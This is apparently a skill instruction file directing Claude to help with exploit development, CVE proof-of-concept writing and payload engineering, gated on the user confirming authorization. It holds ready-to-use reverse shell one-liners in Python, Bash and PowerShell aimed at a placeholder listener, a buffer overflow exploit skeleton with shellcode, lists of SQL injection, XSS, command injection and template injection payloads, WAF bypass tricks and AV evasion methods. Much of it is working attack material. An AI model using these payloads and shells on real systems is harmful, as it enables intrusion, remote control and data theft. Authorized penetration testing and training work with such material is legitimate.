Exploit Development & Payload Engineering Skill for Claude

Exploit Development & Payload Engineering

Purpose

Enable Claude to assist security professionals with authorized exploit development, proof-of-concept creation, payload engineering, and vulnerability exploitation research. Every workflow in this skill requires confirmed authorization context before proceeding.

> CRITICAL — AUTHORIZATION GATE: Before performing any task in this skill, Claude must confirm one of the following authorization contexts:

> 1. Written penetration testing authorization (scope document, SOW, or rules of engagement)

> 2. Bug bounty program scope (confirm target is in-scope)

> 3. CTF competition (confirm challenge name and platform)

> 4. Isolated lab environment the user owns

> 5. Security research on software the user developed

>

> If none of the above apply, Claude must decline and explain why.

Activation Triggers

This skill activates when the user asks about:

• Developing a PoC (proof-of-concept) for a vulnerability
• Creating reverse shells, bind shells, or payload generators
• Buffer overflow exploitation or ROP chain construction
• SQL injection, XSS, SSRF, or command injection payloads
• Shellcode development or analysis
• CVE exploitation techniques (with authorization)
• AV/EDR evasion techniques for authorized testing
• pwntools, msfvenom, or exploit framework usage

Prerequisites

pip install pwntools keystone-engine capstone

Optional tools for authorized engagements:

• pwntools — Binary exploitation framework
• msfvenom — Metasploit payload generator
• ROPgadget — ROP chain discovery
• GDB + GEF/PEDA/pwndbg — Debugging

Authorization Verification Workflow

Before any exploit development task, Claude asks:

To proceed with exploit development, please confirm your authorization context:

1. What is the target system/software?
2. What is your authorization? (e.g., "pentest engagement with signed SOW",
   "CTF challenge: [name]", "my own lab", "bug bounty — [program name]")
3. What is the scope or environment? (e.g., isolated VM, production network?)

Without clear authorization context, I cannot assist with active exploitation.

Core Capabilities

1. CVE Research & PoC Development

When the user asks to develop a PoC for a known CVE:

• Research the vulnerability — Retrieve official advisory, NVD entry, and public writeups
• Classify the vulnerability type — Buffer overflow, injection, deserialization, logic flaw, etc.
• Identify affected component — Specific function, library, endpoint, or code path
• Determine prerequisites — Authentication required? Network access? Specific version?
• Map the exploitation path — What steps lead from vulnerable input to impact?
• Determine responsible scope — Check-only mode first (detect without exploit)
• Write structured PoC using the standard template below

Standard PoC Template:

#!/usr/bin/env python3
"""
PoC for CVE-YYYY-XXXX: [Vulnerability Title]
Affected: [Software Name] [Affected Versions]
Fixed in: [Patched Version]
Type: [Vulnerability Class — e.g., Heap Buffer Overflow]
CVSS: [Score] ([Severity])
Author: [Your name] | Date: [Date]

DISCLAIMER: For authorized security testing and research only.
Unauthorized use is illegal and unethical.

Usage:
    Check-only mode (safe):    python poc.py --target host --check-only
    Exploitation mode:         python poc.py --target host --payload [payload]
"""

import argparse
import sys

def check_vulnerable(target: str) -> bool:
    """Detect vulnerability without exploitation. Safe to run."""
    # [Detection logic — version check, response fingerprint, etc.]
    pass

def exploit(target: str, payload: bytes) -> None:
    """Execute the exploitation chain. Requires authorization."""
    # [Exploitation logic]
    pass

def main():
    parser = argparse.ArgumentParser(description="PoC for CVE-YYYY-XXXX")
    parser.add_argument("--target", required=True, help="Target host:port")
    parser.add_argument("--check-only", action="store_true",
                        help="Only check if target is vulnerable (safe mode)")
    parser.add_argument("--payload", help="Payload to deliver")
    args = parser.parse_args()

    print("[*] Checking authorization: Ensure you have written permission for this target")

    if args.check_only:
        vulnerable = check_vulnerable(args.target)
        print(f"[{'VULN' if vulnerable else 'SAFE'}] Target {'appears vulnerable' if vulnerable else 'does not appear vulnerable'}")
    else:
        if not args.payload:
            print("[-] Payload required for exploitation mode")
            sys.exit(1)
        exploit(args.target, args.payload.encode())

if __name__ == "__main__":
    main()

2. Payload Generation

When the user asks to generate payloads (for authorized testing):

• Clarify the deployment context: web app, binary, network service
• Determine target OS and architecture: Linux x64, Windows x86, ARM
• Select payload type appropriate to the scenario

Reverse Shell Payloads (reference for authorized testing):

# Python (cross-platform)
python3 -c "import socket,subprocess,os;s=socket.socket();s.connect(('LHOST',LPORT));[os.dup2(s.fileno(),fd) for fd in (0,1,2)];subprocess.call(['/bin/sh'])"

# Bash
bash -i >& /dev/tcp/LHOST/LPORT 0>&1

# PowerShell (Windows)
powershell -nop -c "$client=New-Object Net.Sockets.TCPClient('LHOST',LPORT);$stream=$client.GetStream();[byte[]]$bytes=0..65535|%{0};while(($i=$stream.Read($bytes,0,$bytes.Length))-ne 0){$data=(New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0,$i);$sendback=(iex $data 2>&1|Out-String);$sendback2=$sendback+'PS '+(pwd).Path+'> ';$sendbyte=([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()"

# Use payload_generator.py for structured generation:
python scripts/payload_generator.py --type reverse_shell --os linux --arch x64 --lhost 10.0.0.1 --lport 4444
python scripts/payload_generator.py --type bind_shell --os windows --arch x86 --port 4444
python scripts/payload_generator.py --list-types

Payload Type Reference:

| Type | Description | Use Case |

|------|-------------|----------|

| Reverse Shell | Initiates connection to attacker | Outbound firewall allowed |

| Bind Shell | Listens on target port | No egress filtering |

| Staged | Small stager + full payload | Size-constrained contexts |

| Web Shell | PHP/JSP/ASPX shells | Web server access |

| Meterpreter | Full-featured staged payload | Post-exploitation |

3. Buffer Overflow Exploitation Guide

When the user asks about buffer overflow exploitation (authorized lab/CTF):

• Fuzzing Phase — Find the crash input length:

   # pwntools fuzzing
   from pwn import *
   p = process('./vuln_binary')
   for n in range(100, 1000, 100):
       p.sendline(b'A' * n)
       if not p.poll():
           print(f"Crash at {n} bytes")
           break

• Offset Discovery — Find exact EIP/RIP offset:

   # Generate a cyclic pattern
   python3 -c "from pwn import *; print(cyclic(500))"
   # In GDB after crash: x/wx $esp → get value → cyclic_find(value)

• Bad Character Identification — Find bytes that break the payload:

   badchars = b"\x00"  # null byte is almost always bad
   # Test each byte 0x01-0xff in the payload

• Return Address / Gadget Selection:
• For no DEP/NX: find JMP ESP in executable memory
• For DEP enabled: build ROP chain with ROPgadget --binary vuln
• For ASLR enabled: find info leak or use ret2libc

• Exploit Construction:

   from pwn import *
   
   # Layout: [JUNK * offset] + [RET addr] + [NOP sled] + [shellcode]
   offset = 112
   ret_addr = p64(0x401234)  # JMP RSP or gadget
   nop_sled = b"\x90" * 16
   shellcode = asm(shellcraft.sh())  # pwntools shellcode
   
   payload = b"A" * offset + ret_addr + nop_sled + shellcode

4. Web Exploitation Payloads

When the user asks for web exploitation payloads (authorized testing):

SQL Injection Payloads:

-- Union-based (MySQL)
' UNION SELECT null,username,password FROM users-- -

-- Time-based blind (MySQL)
' AND SLEEP(5)-- -

-- Error-based (MySQL)
' AND extractvalue(1,concat(0x7e,(SELECT version())))-- -

-- Boolean blind
' AND 1=1-- -  (true)
' AND 1=2-- -  (false)

XSS Payloads:

// Basic reflected
<script>alert(document.domain)</script>

// Attribute context
" onmouseover="alert(1)

// Filter bypass (no script tag)
<img src=x onerror=alert(1)>

// DOM-based
#"><img src=x onerror=alert(1)>

Command Injection Payloads:

# Linux separators
; id
| id
&& id
`id`
$(id)

# Windows separators
& whoami
| whoami

SSTI Payloads:

# Jinja2 (Python)
{{7*7}}                     → 49 (confirms SSTI)
{{config.items()}}          → app config
{{''.__class__.__mro__}}    → class hierarchy for RCE

# Twig (PHP)
{{7*7}}
{{app.request.server.get('env')}}

5. Evasion Techniques (Authorized Red Team Use)

When the user asks about AV/WAF evasion for authorized testing:

WAF Bypass Techniques:

• Case variation: sElEcT instead of SELECT
• Comment injection: SE/**/LECT
• URL encoding: %27 for single quote
• Double encoding: %2527
• Whitespace alternatives: tabs, newlines, /**/
• HTTP header manipulation: X-Forwarded-For, chunked encoding

AV Evasion Concepts (for authorized red team operations):

• Process injection: hollowing, reflective DLL injection
• Living-off-the-land: PowerShell, wmic, certutil, mshta
• Encoded payloads: XOR, base64, custom encoding
• Signed binary proxy execution (LOLBins)

Output Standards

All PoCs produced must include:

• CVE ID and affected software versions
• Clear authorization disclaimer at the top
• --check-only mode that detects without exploiting
• Usage instructions and expected output
• Remediation steps alongside the exploit
• Responsible disclosure guidance if applicable

Script Reference

payload_generator.py

python scripts/payload_generator.py --type reverse_shell --os linux --arch x64 --lhost 10.0.0.1 --lport 4444
python scripts/payload_generator.py --type bind_shell --os windows --arch x86 --port 4444
python scripts/payload_generator.py --list-types

Skill Integration

| Condition | Next/Prior Skill |

|-----------|-----------------|

| Vulnerability confirmed → build PoC | ← Skill 02 (Vulnerability Scanner) |

| Binary requires RE to find bug | ← Skill 04 (Reverse Engineering) |

| Deliver exploit in engagement | → Skill 14 (Red Team Operations) |

| Generate detection from exploit | → Skill 15 (Blue Team Defense) |

References

• MITRE ATT&CK — Execution (TA0002)
• pwntools Documentation
• Exploit-DB
• PayloadsAllTheThings
• GTFOBins
• LOLBAS Project (Windows)
• PortSwigger Web Security Academy

v3.0 Enhancements (2026 Update)

> Authorization gate still applies — confirm written authorization / CTF or lab scope before any PoC work.

Modern mitigations a PoC must account for:

• Hardware CFI — Intel CET (shadow stack + IBT) and ARM PAC/BTI break naive ROP/JOP; document which mitigation is present and the bypass class required (e.g., shadow-stack-aware chains, signing-gadget abuse on ARM).
• Windows defenses — CFG/XFG, ACG, CIG, kernel CET; reflect these when proposing user/kernel exploitation paths.
• Heap-focused techniques — prefer modern primitives (tcache/__malloc_hook removal in glibc 2.34+, House-of-* variants, UAF→type confusion) over classic unlink; state allocator + version assumptions.
• Browser/JIT context — note V8/JSC type-confusion + addrof/fakeobj primitive model when the target is a JS engine.
• Deserialization gadget chains — for web/app targets, map language-specific sinks (Java ysoserial-style, .NET, PHP POP chains, Python pickle) rather than memory corruption.
• WAF bypass evolution — encoding/normalization, HTTP request smuggling, and parser-differential payloads when an inline WAF is present.

Precision rule: every PoC states target arch/OS/version, mitigations in effect, reliability estimate, and a defensive detection signature so blue teams can act on it.